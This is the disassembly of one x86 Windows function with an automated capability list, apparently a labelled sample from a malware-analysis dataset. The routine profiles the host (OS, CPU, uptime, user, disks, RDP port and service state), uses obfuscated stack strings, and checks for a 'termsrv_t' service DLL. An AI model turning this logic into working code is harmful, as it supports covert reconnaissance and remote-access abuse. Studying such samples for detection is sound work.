Function at 0x40c6b0
Capabilities:
Check for time delay via gettickcount
Check os version
Contain obfuscated stackstrings
Enumerate processes
Get common file path
Get cpu information
Get disk information
Get disk size
Get session user name
Query or enumerate registry value
Query service status

Disassembly:
sub esp, 0x59c
push ebx
push ebp
mov ebp, dword [esp + 0x5a8]
push esi
push edi
mov ecx, 0xe4
xor eax, eax
mov edi, ebp
rep stosd dword es:[edi], eax
lea eax, [esp + 0xbc]
xor ebx, ebx
push eax
xor esi, esi
mov dword [esp + 0xc0], 0x9c
call dword [sym.imp.KERNEL32.dll_GetVersionExA]
mov eax, dword [esp + 0xc0]
cmp eax, 4
ja 0x40c6fa
mov esi, 0x418c58
cmp eax, 5
jne 0x40c729
mov eax, dword [esp + 0xc4]
cmp eax, ebx
jne 0x40c711
mov esi, str.2000
jmp 0x40c788
cmp eax, 1
jne 0x40c71d
mov esi, 0x418c4c
jmp 0x40c788
cmp eax, 2
jne 0x40c788
mov esi, str.2003
jmp 0x40c788
cmp eax, 6
jne 0x40c788
mov eax, dword [esp + 0xc4]
cmp eax, ebx
jne 0x40c751
cmp byte [esp + 0x156], 1
jne 0x40c74a
mov esi, str.Vista
jmp 0x40c788
mov esi, str.2008
jmp 0x40c788
cmp eax, 1
jne 0x40c76e
cmp byte [esp + 0x156], 1
jne 0x40c767
mov esi, 0x418c30
jmp 0x40c788
mov esi, str.2008R2
jmp 0x40c788
cmp eax, 2
jne 0x40c788
mov al, byte [esp + 0x156]
mov esi, 0x418c24
cmp al, 1
je 0x40c788
mov esi, str.2012
mov ecx, dword [esp + 0x150]
and ecx, 0xffff
push ecx
push esi
push str.Windows__s_SP_d
push ebp
call sub.MSVCRT.dll_sprintf
mov ecx, 0xc
mov esi, str.HARDWAREDESCRIPTIONSystemCentralProcessor0
lea edi, [esp + 0x3b4]
add esp, 0x10
rep movsd dword es:[edi], dword [esi]
mov ecx, 0x35
xor eax, eax
lea edi, [esp + 0x3d4]
lea edx, [esp + 0x4c]
rep stosd dword es:[edi], eax
push edx
push 0xf003f
lea eax, [esp + 0x3ac]
push ebx
push eax
push 0x80000002
mov dword [esp + 0x60], ebx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x40c825
lea ecx, [esp + 0x60]
lea edx, [ebp + 0x80]
push ecx
mov ecx, dword [esp + 0x50]
lea eax, [esp + 0x78]
push edx
push eax
push ebx
push str.ProcessorNameString
push ecx
mov dword [esp + 0x78], 0x80
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
mov edx, dword [esp + 0x4c]
push edx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
jmp 0x40c84d
mov edi, str.Find_CPU_infomation_error
or ecx, 0xffffffff
xor eax, eax
lea edx, [ebp + 0x80]
repne scasb al, byte es:[edi]
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
and ecx, 3
rep movsb byte es:[edi], byte [esi]
call dword [sym.imp.KERNEL32.dll_GetTickCount]
mov esi, eax
mov eax, 0x31b5d43b
mul esi
mov ecx, edx
mov eax, esi
xor edx, edx
mov esi, 0x5265c00
div esi
mov edi, 0x36ee80
shr ecx, 0x18
mov esi, edx
xor edx, edx
mov eax, esi
div edi
mov eax, 0x45e7b273
mul edx
shr edx, 0xe
mov eax, 0x95217cb1
push edx
mul esi
shr edx, 0x15
push edx
push ecx
lea ecx, [ebp + 0x100]
push str._dDay__dHour__dMin
push ecx
call sub.MSVCRT.dll_sprintf
add esp, 0x14
lea edx, [esp + 0x5c]
lea eax, [ebp + 0x200]
mov dword [esp + 0x5c], 0x80
push edx
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
call fcn.004093f0
push eax
call sub.MSVCRT.dll_atol
mov dword [ebp + 0x300], eax
call fcn.00409ef0
push eax
call sub.MSVCRT.dll_atol
add esp, 8
xor esi, esi
mov dword [ebp + 0x304], eax
xor edi, edi
mov cl, bl
lea edx, [esp + 0x50]
add cl, 0x42
push edx
mov byte [esp + 0x54], cl
mov byte [esp + 0x55], 0x3a
mov byte [esp + 0x56], 0x5c
mov byte [esp + 0x57], 0
call dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 3
jne 0x40c951
lea eax, [esp + 0x6c]
lea ecx, [esp + 0x64]
push eax
lea edx, [esp + 0x7c]
push ecx
lea eax, [esp + 0x58]
push edx
push eax
call dword [sym.imp.KERNEL32.dll_GetDiskFreeSpaceExA]
mov eax, dword [esp + 0x64]
mov edx, dword [esp + 0x68]
mov ecx, 0x1e
call fcn.00413b60
mov edx, dword [esp + 0x70]
add esi, eax
mov eax, dword [esp + 0x6c]
mov ecx, 0x1e
call fcn.00413b60
add edi, eax
inc ebx
cmp ebx, 0x1a
jl 0x40c8e7
lea ecx, [ebp + 0x280]
push 0x80
push ecx
push str.RDP_Tcp
mov dword [ebp + 0x308], esi
mov dword [ebp + 0x30c], edi
call fcn.00409360
add esp, 0xc
push 0xf003f
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
mov esi, eax
test esi, esi
jne 0x40c99b
push str.OpenSCManager_Error_
jmp 0x40cc67
push 0xf01ff
push str.TermService
push esi
call dword [sym.imp.ADVAPI32.dll_OpenServiceA]
mov edi, eax
test edi, edi
jne 0x40c9bc
push str.OpenService_Error_
jmp 0x40cc67
lea edx, [esp + 0x80]
push edx
push edi
call dword [sym.imp.ADVAPI32.dll_QueryServiceStatus]
test eax, eax
push edi
mov edi, dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
jne 0x40c9e5
call edi
push esi
call edi
push str.QueryServiceStatus_Error_
jmp 0x40cc67
call edi
push esi
call edi
cmp dword [esp + 0x84], 4
jne 0x40cc62
push 0
push 0
lea eax, [esp + 0xa4]
push 0
push eax
push 4
push str.fDenyTSConnections
push str.SYSTEMCurrentControlSetControlTerminal_Server
push 0x80000002
call fcn.00404ed0
lea ecx, [esp + 0xbc]
push ecx
call sub.MSVCRT.dll_atoi
add esp, 0x24
test eax, eax
jne 0x40cc5b
lea edx, [esp + 0x158]
push str.Win_XP
push edx
call sub.MSVCRT.dll__mbscmp
add esp, 8
test eax, eax
jne 0x40cc54
mov al, 0x65
push 0
mov byte [esp + 0x1f], al
mov byte [esp + 0x2a], al
mov byte [esp + 0x2e], al
mov byte [esp + 0x33], al
mov byte [esp + 0x37], al
mov byte [esp + 0x3b], al
mov byte [esp + 0x40], al
mov byte [esp + 0x47], al
mov byte [esp + 0x49], al
mov cl, 0x72
push 0
lea eax, [esp + 0x4b0]
push 0
mov dl, 0x53
mov byte [esp + 0x25], cl
mov byte [esp + 0x26], cl
mov byte [esp + 0x2e], cl
mov byte [esp + 0x37], cl
mov byte [esp + 0x40], cl
mov byte [esp + 0x44], cl
mov byte [esp + 0x4c], cl
mov byte [esp + 0x52], cl
push eax
push 2
lea ecx, [esp + 0x24]
mov byte [esp + 0x24], dl
mov byte [esp + 0x26], dl
mov byte [esp + 0x39], dl
mov byte [esp + 0x3d], dl
mov byte [esp + 0x4a], dl
push str.ServiceDll
mov bl, 0x74
mov dl, 0x61
push ecx
push 0x80000002
mov byte [esp + 0x31], 0x59
mov byte [esp + 0x33], 0x54
mov byte [esp + 0x34], 0x45
mov byte [esp + 0x35], 0x4d
mov byte [esp + 0x36], 0x5c
mov byte [esp + 0x37], 0x43
mov byte [esp + 0x38], 0x75
mov byte [esp + 0x3c], 0x6e
mov byte [esp + 0x3d], bl
mov byte [esp + 0x3e], 0x43
mov byte [esp + 0x3f], 0x6f
mov byte [esp + 0x40], 0x6e
mov byte [esp + 0x41], bl
mov byte [esp + 0x43], 0x6f
mov byte [esp + 0x44], 0x6c
mov byte [esp + 0x47], bl
mov byte [esp + 0x48], 0x5c
mov byte [esp + 0x4c], 0x76
mov byte [esp + 0x4d], 0x69
mov byte [esp + 0x4e], 0x63
mov byte [esp + 0x50], 0x73
mov byte [esp + 0x51], 0x5c
mov byte [esp + 0x52], 0x54
mov byte [esp + 0x55], 0x6d
mov byte [esp + 0x59], 0x76
mov byte [esp + 0x5a], 0x69
mov byte [esp + 0x5b], 0x63
mov byte [esp + 0x5d], 0x5c
mov byte [esp + 0x5e], 0x50
mov byte [esp + 0x5f], dl
mov byte [esp + 0x61], dl
mov byte [esp + 0x62], 0x6d
mov byte [esp + 0x64], bl
mov byte [esp + 0x67], 0x73
mov byte [esp + 0x68], 0
call fcn.00404ed0
lea edx, [esp + 0x4c8]
push str.termsrv_t
push edx
call sub.MSVCRT.dll__mbsstr
add esp, 0x28
test eax, eax
je 0x40cc4d
lea eax, [esp + 0x2a0]
push 0x104
push eax
mov dword [esp + 0x180], 0x128
xor edi, edi
call dword [sym.imp.KERNEL32.dll_GetSystemDirectoryA]
lea ecx, [esp + 0x2a0]
push str._termsrv_t.dll
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push edi
push 2
call sub.KERNEL32.dll_CreateToolhelp32Snapshot
lea edx, [esp + 0x178]
mov esi, eax
push edx
push esi
call sub.KERNEL32.dll_Process32First
test eax, eax
je 0x40cc3b
mov ecx, dword [esp + 0x180]
lea eax, [esp + 0x2a0]
push eax
push ecx
call fcn.0040b140
add esp, 8
test eax, eax
jne 0x40cc36
lea edx, [esp + 0x178]
push edx
push esi
call sub.KERNEL32.dll_Process32Next
test eax, eax
je 0x40cc3b
mov ecx, dword [esp + 0x180]
lea eax, [esp + 0x2a0]
push eax
push ecx
call fcn.0040b140
add esp, 8
test eax, eax
je 0x40cc08
mov edi, 1
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x40cc4d
push 0x418b0c
jmp 0x40cc67
push 0x418afc
jmp 0x40cc67
push 0x418ae8
jmp 0x40cc67
push 0x418ad8
jmp 0x40cc67
push 0x418ac8
add ebp, 0x310
push ebp
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 8
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x59c
ret 4